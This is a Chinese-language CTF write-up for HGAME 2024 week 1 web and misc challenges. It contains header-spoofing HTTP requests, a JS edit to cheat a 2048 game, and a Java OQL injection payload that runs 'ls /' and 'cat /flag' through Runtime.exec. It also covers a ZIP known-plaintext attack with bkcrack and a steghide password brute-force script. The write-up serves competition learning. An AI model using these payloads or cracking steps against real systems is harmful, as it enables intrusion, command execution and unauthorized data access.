HGAME2024_week1_wp

HGAME2024_week1_web&misc

Week1

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
GET / HTTP/1.1
Host: 47.100.245.185:31927
Referer: vidar.club
X-Real-IP: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

使用repeater发包后,解码响应的jwt得到flag

image-20240203010816645

  1. 请从vidar.club登录:

    1
    
    Referer: vidar.club
    
  2. 请使用Mozilla/5.0 (Vidar; VidarOS x86_64)......访问

    1
    
    User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
    
  3. 请从本地登录

    1
    2
    
    X-Real-IP: 127.0.0.1
    //X-Forwarded-For失效,或许黑名单了
    

This page requires javascript to be enabled :)

开启js无法注册,将js禁用可成功注册,随后登录得到flag

对每个课程疯狂发包

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /api/courses HTTP/1.1
Host: 47.100.245.185:30640
Content-Length: 8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://47.100.245.185:30640
Referer: http://47.100.245.185:30640/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"id":3}

image-20240203173327940

在js里面发现两串疑似base编码的字符串

image-20240214171233976

image-20240214171326343

base64换表

image-20240214171347068

参考: https://introvertedturtles.wordpress.com/2019/02/17/how-to-hack-2048-two-ways/

拦截环境页面js之前先清除一下浏览器的js缓存

image-20240223144911531

随后在bp设置中,把不拦截js规则取消

image-20240223145006997

image-20240223145054049

修改返回的js中关键代码,<.9?2:4,2和4都修改为16384

1
var n=Math[x(494)]()<.9?2:4,e=new j(this.grid[x(477)](),n);

image-20240223145243255

image-20240223144818885

image-20240216123323260

OQL(对象查询语言)在产品实现中造成的RCE(Object Injection)

JVM 对象查询语言(OQL)

1
2
new java.util.Scanner(java.lang.Runtime.getRuntime().exec('ls /').getInputStream())
new java.util.Scanner(java.lang.Runtime.getRuntime().exec('cat /flag').getInputStream())

image-20240216123720183

image-20240216123737079

https://lab.magiconch.com/xzk/

image-20240205223026314

从底部平视或者用图像编辑软件自动校正一下

image-20240205223120871

image-20240204224421916

然后

image-20240204224606496

发现key

同时

image-20240204224812276

提取出来,是个压缩包,得到:

image-20240204224919698

在线解密网站

https://ctf.bugku.com/tool/hill

image-20240204225045045

压缩后的大小不同,但CRC冗余循环检验是一样的

image-20240204232633914

明文攻击

工具:ARCHPR 4.54

image-20240205142517316

工具:bkcrack

https://cloud.tencent.com/developer/article/2215202

安装: 先从github获取资源,windows中安装bkcrack还需要额外安装VC++的Redistributable

1
git clone https://github.com/kimci86/bkcrack.git

然后配置cmake工具,需要用到cmake手动构建brack的项目代码

1
pip install cmake

安装好后进入bkcrack文件夹内分别运行三段代码

1
2
3
cmake -S . -B build -DCMAKE_INSTALL_PREFIX=install
cmake --build build --config Release
cmake --build build --config Release --target install

进入install文件夹通过终端运行

image-20240205123950453

使用:

1
C:\Users\scofi\Desktop\bkcrack\install>bkcrack.exe -C Downloads.zip -c aa.png -P aa.zip -p aa.png

其中-C表示密文(cipher),-p为明文(plaintext)

-C指外层文件,-c指内层文件

image-20240205140351422

下一步

1
bkcrack.exe -C Downloads.zip -c aa.png -k e0be8d5d 70bb3140 7e983fff -d uncracked

-d指定存文件的路径

image-20240205142057120

随后

1
bkcrack -C attachment.zip -k key -U new.zip good

-U表示更改密码,前面是新压缩包的名,后面是设置的密码

image-20240205142329289

得到的txt文本进行base64 to file,base64->图片

image-20240205233939812

image-20240205223229314

根据提示,六位弱密码,通过steghide爆破

1
steghide info secret.jpg

image-20240205225240973

生成一个6位数数字密码

1
crunch 6 6 0123456789 > passwd.txt

然后通过shell脚本,进行steghide密码爆破

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#bruteStegHide.sh
#!/bin/bash

for line in `cat $2`;do
    steghide extract -sf $1 -p $line > /dev/null 2>&1
    if [[ $? -eq 0 ]];then
        echo 'password is: '$line
        exit
    fi
done

随后

1
./bruteStegHide.sh ../scofield/secret.jpg passwd.txt

得到密码123456

提取文件

1
steghide extract -sf secret.jpg -p 123456

image-20240205231212627

解压压缩包,得到图片和一个离线网页

image-20240205231731305

随后在网上搜索来自星尘这款游戏的字体

https://github.com/MY1L/Ctrl/releases

通过比对,得到flag

image-20240205233337514